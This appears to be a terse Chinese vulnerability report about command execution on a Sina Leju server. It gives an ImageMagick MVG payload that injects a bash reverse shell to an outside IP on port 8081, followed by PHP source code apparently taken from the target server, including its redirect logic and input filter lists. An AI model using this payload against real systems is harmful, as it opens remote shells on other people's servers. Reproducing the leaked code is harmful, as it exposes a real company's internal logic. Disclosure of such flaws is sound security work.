新浪乐居某服务器的两处命令执行可shell

push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://"|bash -i >& /dev/tcp/101.200.**.**/8081 0>&1;")'
 pop graphic-contextop graphic-context

header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
 header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
 require_once $_SERVER['DOCUMENT_ROOT'].'/framework/include/function.php';
 $limittime = 1451376000;//29号下午4点上线
 if(time() > $limittime)
 {
     require_once $_SERVER['DOCUMENT_ROOT'].'/framework/include/expand.fun.php';
 }
 
 //域名跳转
 if ( $_SERVER['HTTP_HOST'] == 'eju.com' || $_SERVER['HTTP_HOST'] == 'esalse.leju.com' )
 {
     header("Location:http://www.eju.com/{$_SERVER['REQUEST_URI']}");
     die;
 }
 $source_arr = array();
 $sourcestr = '';
 isset($_GET['source']) ? array_push($source_arr, 'source='.$_GET['source']) : '';
 isset($_GET['source_ext']) ? array_push($source_arr, 'source_ext='.$_GET['source_ext']) : '';
 if(!empty($source_arr))
 {
     $sourcestr = implode('&', $source_arr);
 }
 //跳转到leju.com的域名
 if ( $_SERVER['HTTP_HOST'] == 'leju.cn' || $_SERVER['HTTP_HOST'] == 'www.leju.cn' || $_SERVER['HTTP_HOST'] == 'ileju.cn' ||$_SERVER['HTTP_HOST'] == 'www.ileju.cn' ||$_SERVER['HTTP_HOST'] == 'www.ileju.com' ||$_SERVER['HTTP_HOST'] == 'ileju.com')
 {
     if(!empty($sourcestr))
     {   
         header("Location:http://www.leju.com?".$sourcestr);
     }
     else
     {
         header("Location:http://www.leju.com");
     }
     die;
 }
 
 //参数转义处理
 $_POST = daddslashes($_POST);
 $_GET  = daddslashes($_GET);
 $_COOKIE  = daddslashes($_COOKIE);
 $_REQUEST  = daddslashes($_REQUEST);
 
 
 //解决XSS漏洞
 $_p = array();
 $_g = array();
 $_c = array();
 $array = array('<','>');
 $array_c = array("user()", "sleep(", "length(", "insert", "select",'<','>',"'","(",")");
 $pgc = array("//",'<','>','</');